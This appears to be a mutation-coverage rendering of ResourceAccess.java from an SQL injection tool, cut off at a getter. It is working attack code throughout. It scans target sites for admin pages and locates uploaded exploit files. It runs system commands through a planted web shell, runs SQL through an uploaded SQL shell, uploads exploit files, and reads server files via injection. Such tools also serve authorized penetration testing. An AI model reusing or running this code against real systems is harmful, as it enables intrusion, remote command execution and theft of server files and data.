ResourceAccess.java

1
/*******************************************************************************
2
 * Copyhacked (H) 2012-2025.
3
 * This program and the accompanying materials
4
 * are made available under no term at all, use it like
5
 * you want, but share and discuss it
6
 * every time possible with every body.
7
 * 
8
 * Contributors:
9
 *      ron190 at ymail dot com - initial implementation
10
 ******************************************************************************/
11
package com.jsql.model.accessible;
12
13
import com.jsql.model.InjectionModel;
14
import com.jsql.model.accessible.engine.*;
15
import com.jsql.model.bean.database.MockElement;
16
import com.jsql.model.suspendable.Input;
17
import com.jsql.view.subscriber.Seal;
18
import com.jsql.model.exception.JSqlException;
19
import com.jsql.model.suspendable.SuspendableGetRows;
20
import com.jsql.util.ConnectionUtil;
21
import com.jsql.util.LogLevelUtil;
22
import org.apache.commons.lang3.StringUtils;
23
import org.apache.logging.log4j.LogManager;
24
import org.apache.logging.log4j.Logger;
25
26
import java.io.File;
27
import java.io.IOException;
28
import java.io.InputStream;
29
import java.net.URI;
30
import java.net.URLEncoder;
31
import java.net.http.HttpHeaders;
32
import java.net.http.HttpRequest;
33
import java.net.http.HttpRequest.BodyPublishers;
34
import java.net.http.HttpResponse;
35
import java.net.http.HttpResponse.BodyHandlers;
36
import java.nio.charset.StandardCharsets;
37
import java.nio.file.Files;
38
import java.nio.file.Paths;
39
import java.time.Duration;
40
import java.util.*;
41
import java.util.concurrent.CompletionService;
42
import java.util.concurrent.ExecutionException;
43
import java.util.concurrent.ExecutorCompletionService;
44
import java.util.concurrent.ExecutorService;
45
import java.util.function.BinaryOperator;
46
import java.util.regex.Pattern;
47
48
/**
49
 * Resource access object.
50
 * Get information from file system, commands, webpage.
51
 */
52
public class ResourceAccess {
53
    
54
    private static final Logger LOGGER = LogManager.getRootLogger();
55
56
    /**
57
     * True if admin page should stop, false otherwise.
58
     */
59
    private boolean isSearchAdminStopped = false;
60
    
61
    /**
62
     * True if scan list should stop, false otherwise.
63
     */
64
    private boolean isScanStopped = false;
65
66
    /**
67
     * True if ongoing file reading must stop, false otherwise.
68
     * If true any new file read is cancelled at start.
69
     */
70
    private boolean isSearchFileStopped = false;
71
72
    /**
73
     * List of ongoing jobs.
74
     */
75
    private final List<CallableFile> callablesReadFile = new ArrayList<>();
76
    private final InjectionModel injectionModel;
77
    private final ExploitSqlite exploitSqlite;
78
    private final ExploitMysql exploitMysql;
79
    private final ExploitOracle exploitOracle;
80
    private final ExploitPostgres exploitPostgres;
81
    private final ExploitHsqldb exploitHsqldb;
82
    private final ExploitH2 exploitH2;
83
    private final ExploitDerby exploitDerby;
84
    private final ExploitSqlserver exploitSqlserver;
85
86
    // compatible cross-platform win+linux (spaces around plus sign required)
87
    public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
88
    public static final String WEB_CONFIRM_RESULT = "133717331";
89
    public static final String SQL_CONFIRM_CMD = "select 1337";
90
    public static final String SQL_CONFIRM_RESULT = "| 1337 |";
91
92
    public static final String SQL_DOT_PHP = "sql.php";
93
    public static final String EXPLOIT_DOT_UPL = "exploit.upl";
94
    public static final String EXPLOIT_DOT_WEB = "exploit.web";
95
    public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
96
    public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
97
98
    public static final String LOID_NOT_FOUND = "Exploit loid not found";
99
    public static final String ADD_LOID = "loid#create";
100
    public static final String WRITE_LOID = "loid#write";
101
    public static final String READ_LOID = "loid#read";
102
103
    public static final String DROP_FUNC = "func#drop";
104
    public static final String ADD_FUNC = "body#add-func";
105
    public static final String RUN_FUNC = "body#run-func";
106
    public static final String BODY_CONFIRM = "body#confirm";
107
    public static final String UDF_RUN_CMD = "udf#run-cmd";
108
109
    public static final String TBL_CREATE = "tbl#create";
110
    public static final String TBL_FILL = "tbl#fill";
111
    public static final String TBL_DUMP = "tbl#dump";
112
    public static final String TBL_DROP = "tbl#drop";
113
    public static final String TBL_READ = "tbl#read";
114
115
    public static final String FILE_READ = "file#read";
116
117
    // TODO should redirect error directly to default output
118
    public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
119
120
    public ResourceAccess(InjectionModel injectionModel) {
121
        this.injectionModel = injectionModel;
122
        this.exploitSqlite = new ExploitSqlite(injectionModel);
123
        this.exploitMysql = new ExploitMysql(injectionModel);
124
        this.exploitOracle = new ExploitOracle(injectionModel);
125
        this.exploitPostgres = new ExploitPostgres(injectionModel);
126
        this.exploitHsqldb = new ExploitHsqldb(injectionModel);
127
        this.exploitH2 = new ExploitH2(injectionModel);
128
        this.exploitDerby = new ExploitDerby(injectionModel);
129
        this.exploitSqlserver = new ExploitSqlserver(injectionModel);
130
    }
131
132
    /**
133
     * Check if every page in the list responds 200 Success.
134
     * @param pageNames    List of admin pages to test
135
     */
136
    public int createAdminPages(String urlInjection, List<String> pageNames) {
137
        var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
138
        matcher.find();
139
        String urlProtocol = matcher.group(1);
140
        String urlWithoutProtocol = matcher.group(3);
141
142
        List<String> folderSplits = new ArrayList<>();
143
144
        // Hostname only
145 2 1. createAdminPages : negated conditional → NO_COVERAGE
2. createAdminPages : negated conditional → NO_COVERAGE
        if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
146
            urlWithoutProtocol = "/dummy";
147
        }
148
        String[] splits = urlWithoutProtocol.split("/", -1);
149 1 1. createAdminPages : Replaced integer subtraction with addition → NO_COVERAGE
        String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
150
        for (String folderName: folderNames) {
151
            folderSplits.add(folderName +"/");
152
        }
153
154
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
155
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
156
157
        var urlPart = new StringBuilder();
158
        for (String segment: folderSplits) {
159
            urlPart.append(segment);
160
            for (String pageName: pageNames) {
161
                taskCompletionService.submit(
162
                    new CallableHttpHead(
163
                        urlProtocol + urlPart + pageName,
164
                        this.injectionModel,
165
                        "check:page"
166
                    )
167
                );
168
            }
169
        }
170
171
        var nbAdminPagesFound = 0;
172 1 1. createAdminPages : Replaced integer multiplication with division → NO_COVERAGE
        int submittedTasks = folderSplits.size() * pageNames.size();
173
        int tasksHandled;
174
        for (
175
            tasksHandled = 0
176 3 1. createAdminPages : negated conditional → NO_COVERAGE
2. createAdminPages : changed conditional boundary → NO_COVERAGE
3. createAdminPages : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
177
            ; tasksHandled++
178
        ) {
179
            nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
180
        }
181
182 1 1. createAdminPages : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
183
        this.isSearchAdminStopped = false;
184 1 1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE
        this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
185
186 1 1. createAdminPages : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE
        return nbAdminPagesFound;
187
    }
188
189
    public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
190
        int nbAdminPagesFoundFixed = nbAdminPagesFound;
191
        
192
        try {
193
            CallableHttpHead currentCallable = taskCompletionService.take().get();
194 1 1. callAdminPage : negated conditional → NO_COVERAGE
            if (currentCallable.isHttpResponseOk()) {
195 1 1. callAdminPage : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
196 1 1. callAdminPage : Changed increment from 1 to -1 → NO_COVERAGE
                nbAdminPagesFoundFixed++;
197
                LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
198
            }
199
        } catch (InterruptedException e) {
200
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
201 1 1. callAdminPage : removed call to java/lang/Thread::interrupt → NO_COVERAGE
            Thread.currentThread().interrupt();
202
        } catch (ExecutionException e) {
203
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
204
        }
205 1 1. callAdminPage : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE
        return nbAdminPagesFoundFixed;
206
    }
207
208
    public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
209
        var result = String.format(
210
            "Searched %s/%s page%s: %s found",
211
            tasksHandled,
212
            submittedTasks,
213 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
            tasksHandled > 1 ? 's' : StringUtils.EMPTY,
214
            nbAdminPagesFound
215
        );
216
        
217 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
        if (nbAdminPagesFound > 0) {
218
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
219
        } else {
220
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
221
        }
222
    }
223
224
    public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
225
        String urlExploitFixed = urlExploit;
226 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (!urlExploitFixed.isEmpty()) {
227
            urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
228
        }
229
        String url = urlExploitFixed;
230 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(url)) {
231
            url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
232
        }
233
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
234
        String urlProtocol;
235 1 1. checkUrls : negated conditional → NO_COVERAGE
        if ("/".equals(urlWithoutProtocol)) {
236
            urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
237
        } else {
238
            urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
239
        }
240
241
        List<String> directoryNames = new ArrayList<>();
242
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
243 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (urlWithoutFileName.split("/").length == 0) {
244
            directoryNames.add("/");
245
        }
246
        for (String directoryName: urlWithoutFileName.split("/")) {
247
            directoryNames.add(directoryName +"/");
248
        }
249
        String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
250 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (urlSuccess != null) {
251
            urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
252
        } else {
253
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
254
        }
255 1 1. checkUrls : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::checkUrls → NO_COVERAGE
        return urlSuccess;
256
    }
257
258
    private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
259
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
260
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
261
        var urlPart = new StringBuilder();
262
263
        for (String segment: directoryNames) {
264
            urlPart.append(segment);
265
            taskCompletionService.submit(
266
                new CallableHttpHead(
267
                    urlProtocol + urlPart + filename,
268
                    this.injectionModel,
269
                    "xplt#confirm-url"
270
                )
271
            );
272
        }
273
274
        String urlSuccess = null;
275
        int submittedTasks = directoryNames.size();
276 2 1. getExploitUrl : negated conditional → NO_COVERAGE
2. getExploitUrl : changed conditional boundary → NO_COVERAGE
        for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
277
            try {
278
                CallableHttpHead currentCallable = taskCompletionService.take().get();
279 1 1. getExploitUrl : negated conditional → NO_COVERAGE
                if (currentCallable.isHttpResponseOk()) {
280
                    urlSuccess = currentCallable.getUrl();
281
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
282
                    break;
283
                }
284
            } catch (InterruptedException e) {
285
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
286 1 1. getExploitUrl : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
287
            } catch (ExecutionException e) {
288
                LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
289
            }
290
        }
291
292 1 1. getExploitUrl : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
293 1 1. getExploitUrl : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getExploitUrl → NO_COVERAGE
        return urlSuccess;
294
    }
295
296
    public String callCommand(String urlCommand) {
297 1 1. callCommand : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::callCommand → NO_COVERAGE
        return this.callCommand(urlCommand, false);
298
    }
299
300
    public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
301
        String pageSource;
302
        try {
303
            pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
304
        } catch (Exception e) {
305
            pageSource = StringUtils.EMPTY;
306
        }
307
        
308
        var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
309
        regexSearch.find();
310
311
        String result;
312
        // IllegalStateException #1544: catch incorrect execution
313
        try {
314
            result = regexSearch.group(1);
315
        } catch (IllegalStateException e) {
316
            result = StringUtils.EMPTY;  // fix return null from regex
317 1 1. callCommand : negated conditional → NO_COVERAGE
            if (!isConnectIssueIgnored) {
318
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
319
            }
320
        }
321
        return result;
322
    }
323
    
324
    /**
325
     * Run a shell command on host.
326
     * @param command The command to execute
327
     * @param uuidShell An unique identifier for terminal
328
     * @param urlExploit Web path of the shell
329
     */
330
    public String runWebShell(String command, UUID uuidShell, String urlExploit) {
331 1 1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE
        return this.runWebShell(command, uuidShell, urlExploit, false);
332
    }
333
    public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
334
        String result = this.callCommand(
335
            urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
336
            isConnectIssueIgnored
337
        );
338 1 1. runWebShell : negated conditional → NO_COVERAGE
        if (StringUtils.isBlank(result)) {
339
            result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
340
        }
341 1 1. runWebShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
342 1 1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE
        return result;
343
    }
344
345
    /**
346
     * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
347
     * @param command SQL request to execute
348
     * @param uuidShell Identifier of terminal sending the request
349
     * @param urlExploit URL to send SQL request against
350
     * @param username Username [optional]
351
     * @param password password [optional]
352
     */
353
    public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
354 1 1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE
        return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
355
    }
356
357
    public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
358
        String result = this.callCommand(String.format(
359
             "%s?q=%s&u=%s&p=%s",
360
             urlExploit,
361
             URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
362
             username,
363
             password
364
        ));
365
            
366 1 1. runSqlShell : negated conditional → NO_COVERAGE
        if (result.contains("<SQLr>")) {
367
            List<List<String>> listRows = this.parse(result);
368 1 1. runSqlShell : negated conditional → NO_COVERAGE
            if (listRows.isEmpty()) {
369
                result = "Result not found: check your credentials or review logs in tab Network\n";
370
            } else {
371
                List<Integer> listFieldsLength = this.parseColumnLength(listRows);
372
                result = this.convert(listRows, listFieldsLength);
373
            }
374
        }
375
376 1 1. runSqlShell : negated conditional → NO_COVERAGE
        if (isResultSentToView) {
377 1 1. runSqlShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
378
        }
379 1 1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE
        return result;
380
    }
381
382
    private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
383
        var tableText = new StringBuilder("+");
384
        for (Integer fieldLength: listFieldsLength) {
385
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
386
        }
387
        tableText.append("\n");
388
        for (List<String> listFields: listRows) {
389
            tableText.append("|");
390
            var cursorPosition = 0;
391
            for (String field: listFields) {
392
                tableText.append(StringUtils.SPACE)
393
                    .append(field)
394 1 1. convert : Replaced integer subtraction with addition → NO_COVERAGE
                    .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
395
                    .append(" |");
396 1 1. convert : Changed increment from 1 to -1 → NO_COVERAGE
                cursorPosition++;
397
            }
398
            tableText.append("\n");
399
        }
400
        tableText.append("+");
401
        for (Integer fieldLength: listFieldsLength) {
402
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
403
        }
404
        tableText.append("\n");
405 1 1. convert : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE
        return tableText.toString();
406
    }
407
408
    private List<Integer> parseColumnLength(List<List<String>> listRows) {
409
        List<Integer> listFieldsLength = new ArrayList<>();
410
        for (
411
            var indexLongestRowSearch = 0;
412 2 1. parseColumnLength : negated conditional → NO_COVERAGE
2. parseColumnLength : changed conditional boundary → NO_COVERAGE
            indexLongestRowSearch < listRows.getFirst().size();
413
            indexLongestRowSearch++
414
        ) {
415
            int indexLongestRowSearchFinal = indexLongestRowSearch;
416 1 1. parseColumnLength : removed call to java/util/List::sort → NO_COVERAGE
            listRows.sort(
417 2 1. lambda$parseColumnLength$0 : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$0 → NO_COVERAGE
2. lambda$parseColumnLength$0 : Replaced integer subtraction with addition → NO_COVERAGE
                (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
418
            );
419
            listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
420
        }
421 1 1. parseColumnLength : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE
        return listFieldsLength;
422
    }
423
424
    private List<List<String>> parse(String result) {
425
        List<List<String>> listRows = new ArrayList<>();
426
        var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
427 1 1. parse : negated conditional → NO_COVERAGE
        while (rowsMatcher.find()) {
428
            String values = rowsMatcher.group(1);
429
            var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
430
            List<String> listFields = new ArrayList<>();
431
            listRows.add(listFields);
432
            
433 1 1. parse : negated conditional → NO_COVERAGE
            while (fieldsMatcher.find()) {
434
                String field = fieldsMatcher.group(1);
435
                listFields.add(field);
436
            }
437
        }
438 1 1. parse : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE
        return listRows;
439
    }
440
441
    public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
442
        var crLf = "\r\n";
443
        var boundary = "---------------------------4664151417711";
444
        
445
        var streamData = new byte[streamToUpload.available()];
446 1 1. upload : negated conditional → NO_COVERAGE
        if (streamToUpload.read(streamData) == -1) {
447
            throw new JSqlException("Error reading the file");
448
        }
449
        
450
        String headerForm = StringUtils.EMPTY;
451
        headerForm += "--"+ boundary + crLf;
452
        headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
453
        headerForm += "Content-Type: binary/octet-stream"+ crLf;
454
        headerForm += crLf;
455
456
        String headerFile = StringUtils.EMPTY;
457
        headerFile += crLf +"--"+ boundary +"--"+ crLf;
458
459
        var httpRequest = HttpRequest.newBuilder()
460
            .uri(URI.create(url))
461
            .timeout(Duration.ofSeconds(15))
462
            .POST(BodyPublishers.ofByteArrays(
463
                Arrays.asList(
464
                    headerForm.getBytes(StandardCharsets.UTF_8),
465
                    Files.readAllBytes(Paths.get(file.toURI())),
466
                    headerFile.getBytes(StandardCharsets.UTF_8)
467
                )
468
            ))
469
            .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
470
            .build();
471
472
        var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
473
        HttpHeaders httpHeaders = response.headers();
474
        String pageSource = response.body();
475
476 1 1. upload : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.MessageHeader(
477
            url,
478
            null,
479
            ConnectionUtil.getHeadersMap(httpRequest.headers()),
480
            ConnectionUtil.getHeadersMap(httpHeaders),
481
            pageSource,
482
            null,
483
            null,
484
            "upl#multipart",
485
            null
486
        ));
487 1 1. upload : replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE
        return response;
488
    }
489
    
490
    /**
491
     * Check if current user can read files.
492
     * @return True if user can read file, false otherwise
493
     * @throws JSqlException when an error occurs during injection
494
     */
495
    public boolean isMysqlReadDenied() throws JSqlException {
496
        var sourcePage = new String[]{ StringUtils.EMPTY };
497
        String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
498
            this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
499
            sourcePage,
500
            false,
501
            1,
502
            MockElement.MOCK,
503
            "privilege"
504
        ));
505
506
        boolean readingIsAllowed = false;
507
508 1 1. isMysqlReadDenied : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(resultInjection)) {
509 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE
            this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
510 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
511 1 1. isMysqlReadDenied : negated conditional → NO_COVERAGE
        } else if ("false".equals(resultInjection)) {
512
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
513 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
514
        } else {
515 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
516
            readingIsAllowed = true;
517
        }
518
        
519 2 1. isMysqlReadDenied : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isMysqlReadDenied → NO_COVERAGE
2. isMysqlReadDenied : negated conditional → NO_COVERAGE
        return !readingIsAllowed;
520
    }
521
522
    /**
523
     * Attempt to read files in parallel by their path from the website using injection.
524
     * Reading file needs a FILE right on the server.
525
     * The user can interrupt the process at any time.
526
     * @param pathsFiles List of file paths to read
527
     * @throws JSqlException when an error occurs during injection
528
     * @throws InterruptedException if the current thread was interrupted while waiting
529
     * @throws ExecutionException if the computation threw an exception
530
     */
531
    public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
532
        if (
533 1 1. readFile : negated conditional → NO_COVERAGE
            this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
534 1 1. readFile : negated conditional → NO_COVERAGE
            && this.isMysqlReadDenied()
535
        ) {
536
            return Collections.emptyList();
537
        }
538
539
        var countFileFound = 0;
540
        var results = new ArrayList<String>();
541
542
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
543
        CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
544
545
        for (String pathFile: pathsFiles) {
546
            var callableFile = new CallableFile(pathFile, this.injectionModel);
547
            taskCompletionService.submit(callableFile);
548
            this.callablesReadFile.add(callableFile);
549
        }
550
551
        List<String> duplicate = new ArrayList<>();
552
        int submittedTasks = pathsFiles.size();
553
        int tasksHandled;
554
555
        for (
556
            tasksHandled = 0
557 3 1. readFile : changed conditional boundary → NO_COVERAGE
2. readFile : negated conditional → NO_COVERAGE
3. readFile : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchFileStopped
558
            ; tasksHandled++
559
        ) {
560
            var currentCallable = taskCompletionService.take().get();
561 1 1. readFile : negated conditional → NO_COVERAGE
            if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
562
                var name = currentCallable.getPathFile().substring(
563 1 1. readFile : Replaced integer addition with subtraction → NO_COVERAGE
                    currentCallable.getPathFile().lastIndexOf('/') + 1
564
                );
565
                String content = currentCallable.getSourceFile();
566
                String path = currentCallable.getPathFile();
567
568 1 1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
569
570 1 1. readFile : negated conditional → NO_COVERAGE
                if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
571
                    LOGGER.log(
572
                        LogLevelUtil.CONSOLE_INFORM,
573
                        "Folder exploit candidate: {}",
574 1 1. lambda$readFile$1 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$1 → NO_COVERAGE
                        () -> path.replace(name, StringUtils.EMPTY)
575
                    );
576
                }
577
578
                duplicate.add(path.replace(name, StringUtils.EMPTY));
579
                results.add(content);
580
581 1 1. readFile : Changed increment from 1 to -1 → NO_COVERAGE
                countFileFound++;
582
            }
583
        }
584
585
        // Force ongoing suspendables to stop immediately
586
        for (CallableFile callableReadFile: this.callablesReadFile) {
587 1 1. readFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callableReadFile.getSuspendableReadFile().stop();
588
        }
589 1 1. readFile : removed call to java/util/List::clear → NO_COVERAGE
        this.callablesReadFile.clear();
590 1 1. readFile : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
591
        this.isSearchFileStopped = false;
592
593
        var result = String.format(
594
            "Searched %s/%s file%s: %s found",
595
            tasksHandled,
596
            submittedTasks,
597 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
            tasksHandled > 1 ? 's' : StringUtils.EMPTY,
598
            countFileFound
599
        );
600
601 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
        if (countFileFound > 0) {
602
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
603
        } else {
604
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
605
        }
606 1 1. readFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE
        return results;
607
    }
608
609
    public String getResult(String query, String metadata) throws JSqlException {
610
        var sourcePage = new String[]{ StringUtils.EMPTY };
611 1 1. getResult : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResult → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
612
            query,
613
            sourcePage,
614
            false,
615
            0,
616
            MockElement.MOCK,
617
            metadata
618
        ));
619
    }
620
621
    public String getResultWithCatch(String query, String metadata) {
622
        var sourcePage = new String[]{ StringUtils.EMPTY };
623
        try {
624 1 1. getResultWithCatch : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResultWithCatch → NO_COVERAGE
            return new SuspendableGetRows(this.injectionModel).run(new Input(
625
                query,
626
                sourcePage,
627
                false,
628
                0,
629
                MockElement.MOCK,
630
                metadata
631
            ));
632
        } catch (JSqlException ignored) {
633
            return StringUtils.EMPTY;
634
        }
635
    }
636
637
    /**
638
     * Mark the search of files to stop.
639
     * Any ongoing file reading is interrupted and any new file read
640
     * is cancelled.
641
     */
642
    public void stopSearchFile() {
643
        this.isSearchFileStopped = true;
644
        for (CallableFile callable: this.callablesReadFile) {
645 1 1. stopSearchFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
646
        }
647
    }
648
649
    public void stopSearchAdmin() {
650
        this.isSearchAdminStopped = true;
651
    }
652
653
654
    // Getters and setters
655
656
    public ExploitSqlite getExploitSqlite() {
657 1 1. getExploitSqlite : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlite → NO_COVERAGE
        return this.exploitSqlite;
658
    }
659
660
    public ExploitMysql getExploitMysql() {
